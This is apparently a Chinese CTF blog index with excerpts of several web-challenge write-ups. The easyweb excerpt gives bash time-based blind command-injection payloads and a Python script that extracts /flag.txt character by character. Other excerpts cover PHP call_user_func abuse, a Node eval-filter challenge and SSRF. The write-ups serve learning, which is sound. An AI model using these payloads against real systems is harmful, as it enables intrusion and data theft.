0%

[钓鱼城杯]easyweb

命令执行,post一个cmd,无回显不能连接外网。就是学一下shell语法,然后用时间盲注获得flag

题解

一开始提交了一下ls发现就返回一个200,不知道命令有没有执行,跑一个sleep 3,有明显延迟,证明存在命令执行,但是没有回显
试着弹一下shell,无果,用curl访问一下外网,无反应,证实不能连接外网。
那就只能用判断语句来搜集信息了
查一下shell语法
https://www.cnblogs.com/AloneSword/p/4489098.html
可以用if [ -f /flag.txt ]; then sleep 3; fi;硬猜出来了flag位置(运气比较好)
接下来就是测flag内容,同样用时间盲注
bash -c "if [[ \"$(cat /flag.txt)\" = flag{* ]]; then sleep 3; fi;"
这里一开始判断语句一直出问题,最后用了[[ “$()”” = reg ]]这种形式终于搞了出来,一开始没有加外层的bash -c,结果就一直执行不出来,一开始还以为是把cat之类的给禁了,换了几个类似的读文件命令还是不行,最后突然想起来是不是用的不是bash,加了一个bash -c之后可以用了
贴一个自动注入脚本

import requests
import time
str1 = "1234567890qwertyuiopasdfghjklzxcvbnm_-QWERTYUIOPASDFGHJKLZXCVBNM{}"
url = "http://119.3.37.185/"
payload = ""
for i in range(20):
    for s in str1:
        data = {"cmd": 'bash -c "if [[ \"$(cat /flag.txt)\" = %s* ]]; then sleep 3; fi;"' % (payload + s)}
        start = time.time()
        requests.post(url=url, data=data)
        end = time.time()
        if end - start > 3:
            payload += s
            print(payload)
print(data)
阅读全文 »

[强网杯2020] web

太难了,除了强网先锋的题都做不出来,强网先锋部分简单题都不会

web分类的题一个也不会,菜逼的眼神

主动

命令注入,或者说直接就是命令执行吧,啥过滤都不给的,非常的主动啊

阅读全文 »

[CISCN2020 华东北赛区]web wp

国赛结束写wp,输出很低,web都被神仙们日穿了,每个题都几百解,太牛逼了
没保留题目源码,就凑合着写吧

easyphp

用pntcl库开线程,子进程里面有命令执行,call_user_func_array($_GET['a'], array($_GET['b']), false, true);
父进程调用了pntcl_wait后调用pcntl_wifexited,子进程如果异常退出,父进程就会展示phpinfo,flag就在phpinfo里面,正则匹配$_GET[‘a’]不能有exec和pntcl之类的字段
使用call_user_func_array调用一个三个参数的函数,一开始fuzz能接受三个参数的函数fuzz了半天,最后意识到可以直接调用一个call_user_func,用call_user_func再去调用pntcl库的函数,不受正则影响,
师傅说子进程调用一个pntcl_wait就可以让父进程的pcntl_wifexited判断出问题,理论上感觉是子进程被挂起父进程wait结束发现子进程未正常退出吧?
在phpinfo中获取flag

littlegame

阅读全文 »

[NPUCTF2020]验证🐎

js题,很有意思,学习了

源码

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

function saferEval(str) {
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();
function render(results) {
    return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
    name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
    keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function (req, res) {
    let result = '';
    const results = req.session.results || [];
    const { e, first, second } = req.body;
    if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
        if (req.body.e) {
            try {
                result = saferEval(e) || 'Wrong Wrong Wrong!!!';
            } catch (e) {
                console.log(e);
                result = 'Wrong Wrong Wrong!!!';
            }
            results.unshift(`${req.body.e}=${result}`);
        }
    } else {
        results.unshift('Not verified!');
    }
    if (results.length > 13) {
        results.pop();
    }
    req.session.results = results;
    res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
    res.set('Content-Type', 'text/html;charset=utf-8');
    req.session.admin = req.session.admin || 0;
    res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
    console.log('Start listening')
});

有两层限制,第一层是first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0]),需要提交两个长度一致但不全等的数据拼接一个key之后算出的md5完全相等。

阅读全文 »

[CISCN2019 华东南赛区]Web4

国赛国赛,复现复现

题解

打开界面顺着给的链接走,会进read路由并且获取参数url=https://www.baidu.com
可以猜出来打一个ssrf,不过具体怎么打倒是没有思路,不过首先还是先用file协议读一下文件吧,然后输入file就直接回显WAF,果然没有这么简单啊

根据路由类型再访问一下index.php之类的路径,发现不存在index.php文件,大概可以猜出来是个python题或者js题之类的,不过还是不知道咋搞啊

阅读全文 »